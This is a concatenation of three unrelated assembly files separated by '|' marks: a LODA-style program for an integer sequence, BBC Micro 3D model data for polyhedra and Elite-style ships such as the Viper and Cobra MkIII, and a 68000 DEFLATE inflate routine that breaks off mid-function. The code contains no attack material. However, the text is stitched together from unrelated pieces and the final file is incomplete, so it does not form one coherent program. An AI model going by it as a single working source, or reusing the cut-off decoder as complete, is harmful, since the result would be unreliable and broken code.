; 2,10,26,74,138,394,650,1674,3210,7306,11402,35978,52362,117898,248970,576650,838794,2411658,3460234,9751690,18140298,34917514,51694730,185912458,286575754,555011210,1091882122,2702494858,3776236682,12366171274,16661138570,42430942346,76790680714,145510157450,282949110922,901424401546,1176302308490,2275813936266,4474837191818,13270930214026,17668976725130,52853348813962,70445534858378,175998651124874,387104883657866,668579860368522,950054837079178,3764804604185738,5453654464449674
lpb $0
mov $2,$0
sub $0,1
seq $2,131089 ; a(n) = Sum_{d|n} (2 - mu(d)).
add $1,$2
mul $1,2
lpe
add $1,2
mov $0,$1
|
;----------------------------------------------------------------------------------------------------------
; start of model data block
;----------------------------------------------------------------------------------------------------------
.coordinates_start
GLOBAL_SCALE = 0.8
IF WIREFRAME
; Tetrahedron data
.model_data_tetra
TETRA_NPTS = 4
TETRA_NLINES = 6
TETRA_NSURFS = 4
TETRA_MAXVIS = 3
TETRA_SCALE = 112*GLOBAL_SCALE
MD_HEADER TETRA_NPTS,TETRA_NLINES,TETRA_NSURFS,TETRA_MAXVIS
.verts_data_tetra
MD_POINT 1,-0.3536,0, TETRA_SCALE
MD_POINT -0.5,-0.3536,-0.866, TETRA_SCALE
MD_POINT -0.5,-0.3536,0.866, TETRA_SCALE
MD_POINT 0,1.0607,0, TETRA_SCALE
.surfs_data_tetra
MD_SURF 1,2,3
MD_SURF 0,3,2
MD_SURF 0,1,3
MD_SURF 0,2,1
MD_OPP &80
MD_OPP &80
MD_OPP &80
MD_OPP &80
MD_LINE 0,7
MD_LINE 0,&1A
MD_LINE 0,&2C
MD_LINE 0,&31
MD_INDEX 1,2
MD_INDEX 1,0
MD_INDEX 0,0
MD_INDEX 2,3
MD_INDEX 3,3
MD_INDEX 2,1
ENDIF
; Cube data
.model_data_cube
CUBE_NPTS = 8
CUBE_NLINES = 12
CUBE_NSURFS = 6
CUBE_MAXVIS = 3
CUBE_SCALE = 1.369*GLOBAL_SCALE
MD_HEADER CUBE_NPTS,CUBE_NLINES,CUBE_NSURFS,CUBE_MAXVIS
.verts_data_cube
MD_POINT +50,+50,+50, CUBE_SCALE
MD_POINT +50,+50,-50, CUBE_SCALE
MD_POINT +50,-50,+50, CUBE_SCALE
MD_POINT +50,-50,-50, CUBE_SCALE
MD_POINT -50,+50,+50, CUBE_SCALE
MD_POINT -50,+50,-50, CUBE_SCALE
MD_POINT -50,-50,+50, CUBE_SCALE
MD_POINT -50,-50,-50, CUBE_SCALE
.surfs_data_cube
MD_SURF 4,6,0
MD_SURF 5,7,4
MD_SURF 1,4,0
MD_SURF 3,1,0
MD_SURF 3,2,6
MD_SURF 7,1,3
MD_OPP 5
MD_OPP 3
MD_OPP 4
MD_OPP 1
MD_OPP 2
MD_OPP 0
IF WIREFRAME
MD_LINE 0,&701
MD_LINE 0,&164
MD_LINE 0,&00F
MD_LINE 0,&A12
MD_LINE 0,&CC0
MD_LINE 0,&0B8
ELSE
MD_LINE 0,&150001
MD_LINE 0,&022820
MD_LINE 0,&0000FF
MD_LINE 0,&880208
MD_LINE 0,&F0F000
MD_LINE 0,&004540
ENDIF
MD_INDEX 0,1
MD_INDEX 4,1
MD_INDEX 1,5
MD_INDEX 6,3
MD_INDEX 4,0
MD_INDEX 2,2
MD_INDEX 4,0
MD_INDEX 5,5
MD_INDEX 3,7
MD_INDEX 7,7
MD_INDEX 6,2
MD_INDEX 6,3
; wireframe only models
IF WIREFRAME
; Octahedron data
.model_data_octa
OCTA_NPTS = 6
OCTA_NLINES = 12
OCTA_NSURFS = 8
OCTA_MAXVIS = 4
OCTA_SCALE = 119*GLOBAL_SCALE
MD_HEADER OCTA_NPTS,OCTA_NLINES,OCTA_NSURFS,OCTA_MAXVIS
.verts_data_octa
MD_POINT 0,-1,0, OCTA_SCALE
MD_POINT -1,0,0, OCTA_SCALE
MD_POINT 0,0,-1, OCTA_SCALE
MD_POINT 0,1,0, OCTA_SCALE
MD_POINT 1,0,0, OCTA_SCALE
MD_POINT 0,0,1, OCTA_SCALE
.surfs_data_octa
MD_SURF 0,1,2
MD_SURF 0,5,1
MD_SURF 1,5,3
MD_SURF 1,3,2
MD_SURF 3,5,4
MD_SURF 2,3,4
MD_SURF 0,2,4
MD_SURF 0,4,5
MD_OPP 4
MD_OPP 5
MD_OPP 6
MD_OPP 7
MD_OPP 0
MD_OPP 1
MD_OPP 2
MD_OPP 3
MD_LINE 0,7
MD_LINE 0,&19
MD_LINE 0,&70
MD_LINE 0,&C4
MD_LINE 0,&320
MD_LINE 0,&680
MD_LINE 0,&C02
MD_LINE 0,&908
MD_INDEX 0,0
MD_INDEX 1,0
MD_INDEX 1,3
MD_INDEX 1,2
MD_INDEX 4,3
MD_INDEX 2,0
MD_INDEX 1,2
MD_INDEX 2,5
MD_INDEX 5,5
MD_INDEX 3,3
MD_INDEX 5,4
MD_INDEX 4,4
; Dodecahedron data
.model_data_dodeca
DODECA_NPTS = 20
DODECA_NLINES = 30
DODECA_NSURFS = 12
DODECA_MAXVIS = 6
DODECA_SCALE = -72*GLOBAL_SCALE
MD_HEADER DODECA_NPTS,DODECA_NLINES,DODECA_NSURFS,DODECA_MAXVIS
.verts_data_dodeca
MD_POINT 1,-1.3090,0, DODECA_SCALE
MD_POINT 0.3090,-1.3090,-0.9511, DODECA_SCALE
MD_POINT -0.8090,-1.3090,-0.5878, DODECA_SCALE
MD_POINT -0.8090,-1.3090,0.5878, DODECA_SCALE
MD_POINT 0.3090,-1.3090,0.9511, DODECA_SCALE
MD_POINT 1.6180,-0.3090,0, DODECA_SCALE
MD_POINT 0.5,-0.3090,-1.5388, DODECA_SCALE
MD_POINT -1.3090,-0.3090,-0.9511, DODECA_SCALE
MD_POINT -1.3090,-0.3090,0.9511, DODECA_SCALE
MD_POINT 0.5,-0.3090,1.5388, DODECA_SCALE
MD_POINT -1,1.3090,0, DODECA_SCALE
MD_POINT -0.3090,1.3090,0.9511, DODECA_SCALE
MD_POINT 0.8090,1.3090,0.5878, DODECA_SCALE
MD_POINT 0.8090,1.3090,-0.5878, DODECA_SCALE
MD_POINT -0.3090,1.3090,-0.9511, DODECA_SCALE
MD_POINT -1.6180,0.3090,0, DODECA_SCALE
MD_POINT -0.5,0.3090,1.5388, DODECA_SCALE
MD_POINT 1.3090,0.3090,0.9511, DODECA_SCALE
MD_POINT 1.3090,0.3090,-0.9511, DODECA_SCALE
MD_POINT -0.5,0.3090,-1.5388, DODECA_SCALE
.surfs_data_dodeca
MD_SURF 0,2,4
MD_SURF 10,7,14
MD_SURF 3,16,4
MD_SURF 18,6,0
MD_SURF 9,16,12
MD_SURF 2,7,8
MD_SURF 10,14,12
MD_SURF 0,4,17
MD_SURF 13,14,6
MD_SURF 8,10,16
MD_SURF 19,2,6
MD_SURF 12,18,17
MD_OPP 6
MD_OPP 7
MD_OPP 8
MD_OPP 9
MD_OPP 10
MD_OPP 11
MD_OPP 0
MD_OPP 1
MD_OPP 2
MD_OPP 3
MD_OPP 4
MD_OPP 5
MD_LINE 0,&307
MD_LINE 0,&12040440
MD_LINE 0,&4084804
MD_LINE 0,&21101001
MD_LINE 0,&28A010
MD_LINE 0,&2414200
MD_LINE 0,&F8
MD_LINE 0,&28200802
MD_LINE 0,&920480
MD_LINE 0,&14408008
MD_LINE 0,&851100
MD_LINE 0,&9022020
MD_INDEX 0,0
MD_INDEX 3,10
MD_INDEX 11,12
MD_INDEX 10,13
MD_INDEX 1,2
MD_INDEX 14,4
MD_INDEX 1,12
MD_INDEX 3,11
MD_INDEX 2,13
MD_INDEX 7,9
MD_INDEX 6,9
MD_INDEX 8,6
MD_INDEX 5,7
MD_INDEX 8,5
MD_INDEX 10,0
MD_INDEX 1,4
MD_INDEX 4,11
MD_INDEX 12,13
MD_INDEX 14,14
MD_INDEX 2,3
MD_INDEX 19,9
MD_INDEX 6,17
MD_INDEX 8,16
MD_INDEX 7,18
MD_INDEX 19,16
MD_INDEX 18,17
MD_INDEX 15,19
MD_INDEX 18,15
MD_INDEX 16,17
MD_INDEX 15,5
; Icosahedron model contains more than 15 surfaces
; so cannot be rendered using the optimized surface removal, unless that optimization is disabled
IF FALSE
; Icosahedron data
.model_data_icosa
ICOSA_NPTS = 12
ICOSA_NLINES = 30
ICOSA_NSURFS = 20
ICOSA_MAXVIS = 10
ICOSA_SCALE = -91*GLOBAL_SCALE
MD_HEADER ICOSA_NPTS,ICOSA_NLINES,ICOSA_NSURFS,ICOSA_MAXVIS
.verts_data_icosa
MD_POINT 2.32830644E-11,-1.309,0, ICOSA_SCALE
MD_POINT -0.9472,0.5854,-0.6882, ICOSA_SCALE
MD_POINT -0.3618,-0.5854,1.11352, ICOSA_SCALE
MD_POINT 0.9472,-0.5854,-0.6882, ICOSA_SCALE
MD_POINT 0.3618,0.5854,1.11352, ICOSA_SCALE
MD_POINT -1.1708,-0.5854,0, ICOSA_SCALE
MD_POINT -2.32830644E-11,1.309,0, ICOSA_SCALE
MD_POINT 0.9472,-0.5854,0.6882, ICOSA_SCALE
MD_POINT 0.3618,0.5854,-1.11352, ICOSA_SCALE
MD_POINT -0.9472,0.5854,0.6882, ICOSA_SCALE
MD_POINT -0.3618,-0.5854,-1.11352, ICOSA_SCALE
MD_POINT 1.1708,0.5854,0, ICOSA_SCALE
.surfs_data_icosa
MD_SURF 0,7,3
MD_SURF 0,3,10
MD_SURF 0,10,5
MD_SURF 0,5,2
MD_SURF 0,2,7
MD_SURF 3,7,11
MD_SURF 3,8,10
MD_SURF 1,5,10
MD_SURF 2,5,9
MD_SURF 2,4,7
MD_SURF 9,1,6
MD_SURF 4,9,6
MD_SURF 11,4,6
MD_SURF 8,11,6
MD_SURF 1,8,6
MD_SURF 5,1,9
MD_SURF 4,2,9
MD_SURF 4,11,7
MD_SURF 3,11,8
MD_SURF 1,10,8
MD_OPP 10
MD_OPP 11
MD_OPP 12
MD_OPP 13
MD_OPP 14
MD_OPP 15
MD_OPP 16
MD_OPP 17
MD_OPP 18
MD_OPP 19
MD_OPP 0
MD_OPP 1
MD_OPP 2
MD_OPP 3
MD_OPP 4
MD_OPP 5
MD_OPP 6
MD_OPP 7
MD_OPP 8
MD_OPP 9
MD_LINE 0,&E0000
MD_LINE 0,&38000
MD_LINE 0,&E000
MD_LINE 0,&3800
MD_LINE 0,&80C00
MD_LINE 0,&40300
MD_LINE 0,&100C0
MD_LINE 0,&4030
MD_LINE 0,&100C
MD_LINE 0,&403
MD_LINE 0,&700000
MD_LINE 0,&1C00000
MD_LINE 0,&7000000
MD_LINE 0,&1C000000
MD_LINE 0,&30200000
MD_LINE 0,&100028
MD_LINE 0,&800006
MD_LINE 0,&2000201
MD_LINE 0,&8000180
MD_LINE 0,&20000050
MD_INDEX 4,2
MD_INDEX 2,5
MD_INDEX 1,1
MD_INDEX 8,3
MD_INDEX 3,7
MD_INDEX 2,0
MD_INDEX 2,0
MD_INDEX 5,0
MD_INDEX 3,0
MD_INDEX 3,0
MD_INDEX 1,1
MD_INDEX 6,4
MD_INDEX 4,4
MD_INDEX 6,8
MD_INDEX 6,1
MD_INDEX 7,4
MD_INDEX 9,9
MD_INDEX 10,5
MD_INDEX 10,8
MD_INDEX 11,11
MD_INDEX 7,2
MD_INDEX 5,5
MD_INDEX 10,10
MD_INDEX 10,3
MD_INDEX 7,7
MD_INDEX 9,6
MD_INDEX 9,9
MD_INDEX 6,11
MD_INDEX 11,11
MD_INDEX 8,8
ENDIF ; Icosahedron only
ENDIF ; wireframe only
; Viper data
.model_data_viper
VIPER_NPTS = 15
VIPER_NLINES = 20
VIPER_NSURFS = 7
VIPER_MAXVIS = 5
VIPER_SCALE = 4*GLOBAL_SCALE
MD_HEADER VIPER_NPTS, VIPER_NLINES, VIPER_NSURFS, VIPER_MAXVIS
.verts_data_viper
MD_POINT 0,19,0, VIPER_SCALE
MD_POINT 0,1,-6, VIPER_SCALE
MD_POINT 0,1,6, VIPER_SCALE
MD_POINT -10,-19,-6, VIPER_SCALE
MD_POINT -19,-19,0, VIPER_SCALE
MD_POINT -10,-19,6, VIPER_SCALE
MD_POINT 10,-19,6, VIPER_SCALE
MD_POINT 19,-19,0, VIPER_SCALE
MD_POINT 10,-19,-6, VIPER_SCALE
MD_POINT -3,-19,-4, VIPER_SCALE
MD_POINT -12,-19,0, VIPER_SCALE
MD_POINT -3,-19,4, VIPER_SCALE
MD_POINT 3,-19,-4, VIPER_SCALE
MD_POINT 3,-19,4, VIPER_SCALE
MD_POINT 12,-19,0, VIPER_SCALE
.surfs_data_viper
MD_SURF 1,8,3
MD_SURF 0,1,3
MD_SURF 0,8,1
MD_SURF 0,2,6
MD_SURF 0,5,2
MD_SURF 2,5,6
MD_SURF 6,3,8
MD_OPP 5
MD_OPP &80
MD_OPP &80
MD_OPP &80
MD_OPP &80
MD_OPP 0
MD_OPP &80
IF WIREFRAME
MD_LINE 0,&18100
MD_LINE 0,&30009
MD_LINE 0,&08085
MD_LINE 0,&80046
MD_LINE 0,&60012
MD_LINE 0,&C0020
MD_LINE 0,&07FF8
ELSE
MD_LINE &01,&40010000
MD_LINE &0A,&00000082
MD_LINE &00,&C000C033
MD_LINE &80,&00002028
MD_LINE &3C,&0000030C
MD_LINE &50,&00000400
MD_LINE &00,&3FFFFFC0
ENDIF
MD_INDEX 0,2
MD_INDEX 0,3
MD_INDEX 4,5
MD_INDEX 6,7
MD_INDEX 8,9
MD_INDEX 10,11
MD_INDEX 12,13
MD_INDEX 14,1
MD_INDEX 3,0
MD_INDEX 5,2
MD_INDEX 1,0
MD_INDEX 7,4
MD_INDEX 5,6
MD_INDEX 7,8
MD_INDEX 3,10
MD_INDEX 11,9
MD_INDEX 13,14
MD_INDEX 12,8
MD_INDEX 1,4
MD_INDEX 2,6
; Cobra MkIII data
.model_data_cobra
COBRA_NPTS = 22
COBRA_NLINES = 32
COBRA_NSURFS = 13
COBRA_MAXVIS = 9
COBRA_SCALE = 6*GLOBAL_SCALE
MD_HEADER COBRA_NPTS, COBRA_NLINES, COBRA_NSURFS, COBRA_MAXVIS
.verts_data_cobra
MD_POINT -19,-8,0, COBRA_SCALE
MD_POINT -19,-4.5,0, COBRA_SCALE
MD_POINT -16,-8,-1, COBRA_SCALE
MD_POINT -5,9,0, COBRA_SCALE
MD_POINT -5,-8,2, COBRA_SCALE
MD_POINT 5,-8,2, COBRA_SCALE
MD_POINT 0,3,-3.5, COBRA_SCALE
MD_POINT 0,9,0, COBRA_SCALE
MD_POINT 0,12,0, COBRA_SCALE
MD_POINT 5,9,0, COBRA_SCALE
MD_POINT 0,-8,-2, COBRA_SCALE
MD_POINT 16,-8,-1, COBRA_SCALE
MD_POINT 19,-4.5,0, COBRA_SCALE
MD_POINT 19,-8,0, COBRA_SCALE
MD_POINT -5,-8,-1, COBRA_SCALE
MD_POINT -2,-8,-1, COBRA_SCALE
MD_POINT -2,-8,1.5, COBRA_SCALE
MD_POINT -5,-8,1, COBRA_SCALE
MD_POINT 2,-8,-1, COBRA_SCALE
MD_POINT 5,-8,-1, COBRA_SCALE
MD_POINT 5,-8,1, COBRA_SCALE
MD_POINT 2,-8,1.5, COBRA_SCALE
.surfs_data_cobra
MD_SURF 0,1,2
MD_SURF 1,3,2
MD_SURF 2,3,6
MD_SURF 2,6,10
MD_SURF 3,9,6
MD_SURF 10,6,11
MD_SURF 6,9,11
MD_SURF 11,9,12
MD_SURF 11,12,13
MD_SURF 13,9,5
MD_SURF 5,3,4
MD_SURF 4,3,0
MD_SURF 4,10,5
MD_OPP &80
MD_OPP &80
MD_OPP &80
MD_OPP &80
MD_OPP &80
MD_OPP &80
MD_OPP &80
MD_OPP &80
MD_OPP &80
MD_OPP &80
MD_OPP &80
MD_OPP &80
MD_OPP &80
IF WIREFRAME
MD_LINE 0,&00000007
MD_LINE 0,&0000001C
MD_LINE 0,&000000B0
MD_LINE 0,&00020420
MD_LINE 0,&000003C0
MD_LINE 0,&00040C00
MD_LINE 0,&00001900
MD_LINE 0,&00007000
MD_LINE 0,&0001C000
MD_LINE 0,&80092000
MD_LINE 0,&C0100240
MD_LINE 0,&40200009
MD_LINE 0,&3FFE8002
ELSE
MD_LINE 0,&15
MD_LINE 0,&02A0
MD_LINE 0,&4500
MD_LINE &08,&00200800
MD_LINE 0,&03F000
MD_LINE &20,&00A00000
MD_LINE 0,&01410000
MD_LINE 0,&2A000000
MD_LINE &01,&50000000
MD_LINE &C00000C3,&0C000000
MD_LINE &A0000200,&00002000
MD_LINE &30000C00,&000000C3
MD_LINE &0FFFFFFC,&C000000C
ENDIF
MD_INDEX 0,0
MD_INDEX 1,1
MD_INDEX 2,2
MD_INDEX 3,3
MD_INDEX 6,7
MD_INDEX 10,6
MD_INDEX 9,9
MD_INDEX 11,11
MD_INDEX 12,2
MD_INDEX 11,5
MD_INDEX 4,0
MD_INDEX 14,15
MD_INDEX 16,14
MD_INDEX 18,19
MD_INDEX 20,18
MD_INDEX 3,5
MD_INDEX 1,2
MD_INDEX 2,3
MD_INDEX 3,6
MD_INDEX 9,6
MD_INDEX 9,8
MD_INDEX 6,11
MD_INDEX 11,12
MD_INDEX 12,13
MD_INDEX 13,10
MD_INDEX 10,13
MD_INDEX 5,4
MD_INDEX 15,16
MD_INDEX 17,17
MD_INDEX 19,20
MD_INDEX 21,21
MD_INDEX 4,9
.model_data_finish
EQUB &FF
.coordinates_end
PRINT "Coordinates data size is ", coordinates_end-coordinates_start, " bytes" |
section unpack
xdef unpack
*
* inflate.asm
*
* Fixed for Amiga native asm syntax by phx / English Amiga Board.
*
* Decompression of DEFLATE streams, as produced by zip/gzip/pkzip and
* specified in RFC 1951 "DEFLATE Compressed Data Format Specification".
*
* Usage: Optionally configure the OPT_xxx options below at build time;
* at run time 'bsr inflate' with arguments:
* a4 = output buffer, a5 = input stream
* a6 = *end* of temporary storage area (only if OPT_STORAGE_OFFSTACK)
* All register values (including arguments) are preserved.
*
* Space requirements: 638-930 bytes code; 2044-2940 bytes stack.
* (NB1. Above ranges are [No Optimisations]-[All Optimisations])
* (NB2. Stack space can be relocated to a separately-specified storage
* area, see OPT_STORAGE_OFFSTACK below)
*
* Timings: With all Optimisation Options enabled (see below) this routine
* will decompress on a basic 7MHz 68000 at ~25kB/s. An AmigaDOS track of
* data (5.5kB) is processed in ~220ms. This is only fractionally slower than
* the track can be fetched from disk, hence there is scope for a
* decompressing loader to keep CPU and disk both at near 100% utilisation.
*
* Written & released by Keir Fraser <keir.xen@gmail.com>
*
* This is free and unencumbered software released into the public domain.
* See the file COPYING for more details, or visit <http://unlicense.org>.
*
* Optimisation Option #1:
* Avoid long Huffman-tree walks by indexing the first 8 bits of each codeword
* in a 256-entry lookup table. This shortens all walks by 8 steps and since
* the most common codes are less than 8 bits, most tree walks are avoided.
* Also pre-shifts selected symbols in the code->symbol table, ready to be used
* as indexes into further lookup tables.
* SPEEDUP: 41% (c.w. no Options); COST: 122 bytes code, 896 bytes stack */
*** rest of options removed by wl
*** code modifed for gst macro assembler by w. Lenerz
OPT_TABLE_LOOKUP equ 1
; Longest possible code.
MAX_CODE_LEN equ 16
; (Maximum) alphabet sizes.
nr_codelen_symbols equ 19
nr_litlen_symbols equ 288
nr_distance_symbols equ 32
; Alphabet-description stream for a static Huffman block (BTYPE=01b).
static_huffman_prefix:
dc.b $ff,$5b,$00,$6c,$03,$36,$db
dc.b $b6,$6d,$db,$b6,$6d,$db,$b6
dc.b $cd,$db,$b6,$6d,$db,$b6,$6d
dc.b $db,$a8,$6d,$ce,$8b,$6d,$3b
* Number of bytes required for code-lookup table/tree:
* - 256 2-byte entries for the 8-bit lookup table
* - Worst-case only 8 symbols decode directly in the table and all the rest
* are in a tree hanging off one table entry. This tree requires
* (nr_symbols-8)-1 internal 4-byte nodes.
LOOKUP_BYTES_CODELEN equ 256*2+(nr_codelen_symbols-9)*4
LOOKUP_BYTES_LITLEN equ 256*2+(nr_litlen_symbols-9)*4
LOOKUP_BYTES_DISTANCE equ 256*2+(nr_distance_symbols-9)*4
; a0 = len(), a1 = nodes(), d0 = nr_symbols
; d1 = symbol beyond which all symbols get <<2
; a2-a3 are scratched
build_code:
movem.l d0-d7,-(sp)
; Allocate space for bl_count()/next_code() array on stack.
moveq #(MAX_CODE_LEN+1)/2,d1
moveq #0,d2
.1.1: move.l d2,-(sp)
dbf d1,.1.1
; Count occurrences of each code length into bl_count() array.
subq.w #1,d0
move.w d0,d1
move.l a0,a2 ; a2 = &len(0)
.1.2: move.b (a2)+,d2 ; d2 = len(i)
add.b d2,d2
addq.w #1,(sp,d2.w) ; bl_count(len(i))++
dbf d1,.1.2
; Calculate next_code() start values for each code length.
move.l sp,a2 ; a2 = bl_count() / next_code()
moveq #MAX_CODE_LEN-1,d1
moveq #0,d2 ; d2 = code
move.w d2,(sp) ; bl_count(0) = 0, ignore zero-length codes
.1.3: add.w (a2),d2
add.w d2,d2 ; code = (code + bl_count(i-1)) << 1
move.w d2,(a2)+ ; next_code(i) = code
dbf d1,.1.3
; Create the Huffman-code lookup tree
move.w d0,d1
moveq #127,d4 ; d4 = next_node = 127
move.l a0,a2 ; a2 = &len(0)
build_code_loop:
moveq #0,d5
move.b (a2)+,d5 ; d5 = len(i) / *len++
beq.s build_code_next
subq.w #1,d5
move.w d5,d6
add.w d6,d6
move.w (sp,d6.w),d3 ; d3 = code = next_code(len(i))++
addq.w #1,(sp,d6.w)
move.w d5,d6
moveq #0,d2
.2.1: lsr.w #1,d3
roxl.w #1,d2
dbf d6,.2.1 ; d5 = codelen-1; d2 = reversed code
move.b d2,d3
add.w d3,d3 ; d3 = table offset
move.w d0,d6
sub.w d1,d6 ; d6 = symbol
cmp.w (((MAX_CODE_LEN+1)/2)+1)*4+6(sp),d6 ; symbol > saved d1.w?
bls.s .2.2
lsl.w #2,d6 ; symbol <<= 2 if so
.2.2: cmp.b #9-1,d5
bpl.s codelen_gt_8
codelen_le_8: ; codelen <= 8: leaf in table entry(s)
lsl.w #3,d6
or.b d5,d6 ; d6 = (symbol<<3) | (codelen-1)
moveq #0,d2
addq.b #2,d5
bset d5,d2 ; d2 = 1<<(codelen+1) (table step)
move.w d2,d7
neg.w d7
and.w #511,d7
or.w d7,d3 ; d3 = last table offset
.3.1: move.w d6,(a1,d3.w)
sub.w d2,d3
bpl .3.1
bra.s build_code_next
codelen_gt_8: ; codelen > 8: requires a tree walk
lsr.w #8,d2
subq.b #8,d5 ; Skip the first 8 bits of code
lea (a1,d3.w),a3 ; pnode = table entry
.4.1: ; Walk through *pnode.
move.w (a3),d7 ; d3 = *pnode
bne.s .4.2
; Link missing: Create a new internal node
addq.w #1,d4
move.w d4,d7
bset #15,d7
move.w d7,(a3) ; *pnode = ++next_node | INTERNAL
.4.2: ; Take left or right branch depending on next code bit
lsr.b #1,d2
addx.w d7,d7
add.w d7,d7
lea (a1,d7.w),a3 ; pnode = next_bit ? &node->r : &node->l
dbf d5,.4.1
; Insert the current symbol as a new leaf node
move.w d6,(a3) ; *pnode = sym
build_code_next:
dbf d1,build_code_loop
lea (((MAX_CODE_LEN+1)/2)+1)*4(sp),sp
movem.l (sp)+,d0-d7
rts
; d5-d6/a5 = stream, a0 = tree
; d0.w = result, d1.l = scratch
stream_next_symbol
moveq #0,d0 ; 4
moveq #7,d1 ; 4
cmp.b d1,d6 ; 4
bhi.s .5.1 ; 10
; Less than 8 bits cached; grab another byte from the stream
move.b (a5)+,d0 ; (8)
lsl.w d6,d0 ; (~14)
or.w d0,d5 ; (4) s->cur |= *p++ << s->nr
addq.b #8,d6 ; (4) s->nr += 8
moveq #0,d0 ; (4)
.5.1 ; Use next input byte as index into code lookup table
move.b d5,d0 ; 4
add.w d0,d0 ; 4
move.w (a0,d0.w),d0 ; 14
bpl.s .5.4 ; 10 (taken)
; Code is longer than 8 bits: do the remainder via a tree walk
lsr.w #8,d5
subq.b #8,d6 ; consume 8 bits from the stream
.5.2 ; stream_next_bits(1), inlined & optimised
subq.b #1,d6 ; 4 cy
bpl.s .5.3 ; 10 cy (taken)
move.b (a5)+,d5 ; (8 cy)
moveq #7,d6 ; (4 cy)
.5.3 lsr.w #1,d5 ; 8 cy
addx.w d0,d0 ; 4 cy
add.w d0,d0 ; 4 cy
move.w (a0,d0.w),d0 ; 14 cy
bmi.s .5.2 ; 10 cy (taken); loop on INTERNAL flag
bra.s .5.5 ; TOTAL LOOP CYCLES ~= 54
.5.4 ; Symbol found directly: consume bits and return symbol
and.b d0,d1 ; 4
addq.b #1,d1 ; 4
lsr.w d1,d5 ; ~16 consume bits from the stream
sub.b d1,d6 ; 4
lsr.w #3,d0 ; 12 d0 = symbol
.5.5 ; ~94 CYCLES TOTAL (+ 34)
rts
; d1.b = nr, d5-d6/a5 = stream (fetched_bits/nr_fetched_bits/inp)
; d0.w = result
stream_next_bits
.6.1 moveq #0,d0
cmp.b d1,d6
bpl.s .6.2 ; while (s->nr < nr)
move.b (a5)+,d0
lsl.l d6,d0
or.l d0,d5 ; s->cur |= *p++ << s->nr
addq.b #8,d6 ; s->nr += 8
bra.s .6.1
.6.2 bset d1,d0
subq.w #1,d0 ; d0 = (1<<nr)-1
and.w d5,d0 ; d0 = s->cur & ((1<<nr)-1)
lsr.l d1,d5 ; s->cur >>= nr
sub.b d1,d6 ; s->nr -= nr
rts
; d5-d6/a5 = stream, a4 = output
; d0-d1 are scratched
uncompressed_block:
; Push whole bytes back into input stream.
lsr.w #3,d6
sub.w d6,a5
; Snap input stream up to byte boundary.
moveq #0,d5
moveq #0,d6
; Read block header and copy LEN bytes.
moveq #16,d1
bsr stream_next_bits ; LEN
addq.w #2,a5 ; skip NLEN
subq.w #1,d0 ; d0.w = len-1 (for dbf)
.7.1: move.b (a5)+,(a4)+
dbf d0,.7.1
rts
o_hdist equ 0
o_hlit equ 2
o_lens equ o_hlit+2
o_codelen_tree equ o_lens+nr_litlen_symbols+nr_distance_symbols
; Lit/len and codelen lookup structures share space.
o_litlen_tree equ o_codelen_tree
o_dist_tree equ o_litlen_tree+LOOKUP_BYTES_LITLEN
o_stream equ o_dist_tree+LOOKUP_BYTES_DISTANCE
o_frame equ o_stream+3*4
; Allow for BSR return address from decoder
o_mode equ o_frame+4
o_dist_extra equ o_mode+4
o_length_extra equ o_dist_extra+30*4
; d5-d6/a5 = stream, a4 = output
; d0-d4,a0-a3 are scratched
static_huffman:
movem.l d5-d6/a5,-(sp)
moveq #0,d5
moveq #0,d6
lea static_huffman_prefix(pc),a5
move.w #o_stream/4-2,d0
bra.s huffman
; d5-d6/a5 = stream, a4 = output
; d0-d4,a0-a3 are scratched
dynamic_huffman:
; Allocate stack space for len() and node() arrays
move.w #o_frame/4-2,d0
huffman:
moveq #0,d1
.8.1: move.l d1,-(sp)
dbf d0,.8.1
; HLIT = stream_next_bits(5) + 257
moveq #5,d1
bsr stream_next_bits
add.w #257,d0
move.w d0,-(sp)
; HDIST = stream_next_bits(5) + 1
moveq #5,d1
bsr stream_next_bits
addq.w #1,d0
move.w d0,-(sp)
; HCLEN = stream_next_bits(4) + 4
moveq #4,d1
bsr stream_next_bits
addq.w #4-1,d0 ; -1 for dbf
; Initialise len() array with code-length symbol code lengths
lea codelen_order(pc),a1
lea o_lens(sp),a0 ; a0 = len()
moveq #0,d2
move.w d0,d3
.8.2: moveq #3,d1
bsr stream_next_bits
move.b (a1)+,d2
move.b d0,(a0,d2.w) ; len(codelen_order(i++)) = next_bits(3)
dbf d3,.8.2
; Build the codelen_tree
lea o_codelen_tree(sp),a1
moveq #nr_codelen_symbols,d0
moveq #127,d1 ; don't left-shift any symbols
bsr build_code ; build_code(codelen_tree)
; Read the literal/length & distance code lengths
move.w o_hlit(sp),d2
add.w o_hdist(sp),d2
subq.w #1,d2 ; d2 = hlit+hdist-1
move.l a0,a2 ; a2 = len()
move.l a1,a0 ; a0 = a1 = codelen_tree
c_loop:
bsr stream_next_symbol
cmp.b #16,d0
bmi.s .c_lit
beq.s .c_16
cmp.b #17,d0
beq.s .c_17
.c_18: ; 18: Repeat zero N times
moveq #7,d1
bsr stream_next_bits
addq.w #11-3,d0
bra.s .d.1
.c_17: ; 17: repeat zero N times
moveq #3,d1
bsr stream_next_bits
.d.1: moveq #0,d1
bra.s .d.2
.c_16: ; 16: repeat previous N times
moveq #2,d1
bsr stream_next_bits
move.b -1(a2),d1
.d.2: addq.w #3-1,d0
sub.w d0,d2
.d.3: move.b d1,(a2)+
dbf d0,.d.3
bra.s .d.4
.c_lit: ; 0-16: Literal symbol
move.b d0,(a2)+
.d.4: dbf d2,c_loop
; Build the lit/len and distance trees
; Clear the codelen tree (shared space with lit/len tree).
; NB. a0 = a1 = codelen_tree = litlen_tree
moveq #0,d0
move.w #LOOKUP_BYTES_CODELEN/4-1,d1
.d.5: move.l d0,(a0)+
dbf d1,.d.5
lea o_lens(sp),a0
move.w o_hlit(sp),d0
move.w #256,d1
move.w d1,d4 ; left-shift symbols >127 (i.e., lengths)
bsr build_code ; build_code(litlen_tree)
add.w d0,a0
lea o_dist_tree(sp),a1
move.w o_hdist(sp),d0
moveq #0,d1 ; left-shift all symbols (i.e., distances)
bsr build_code ; build_code(dist_tree)
; Reinstate the main stream if we used the static prefix
tst.l o_stream+8(sp)
beq.s decode_loop
movem.l o_stream(sp),d5-d6/a5
; Now decode the compressed data stream up to EOB
decode_loop:
lea o_litlen_tree(sp),a0
; START OF HOT LOOP
.9.1:
bsr stream_next_symbol ; litlen_sym
cmp.w d4,d0 ; 4 cy (d4.w = 256)
bpl.s .9.2 ; 8 cy
; 0-255: Byte literal
move.b d0,(a4)+ ; 8 cy
bra.s .9.1 ; 10 cy
; END OF HOT LOOP -- 30 + ~108 + (34) = ~160 CYCLES
.done: ; 256: End-of-block: we're done
lea o_frame(sp),sp
rts
.9.2: beq .done
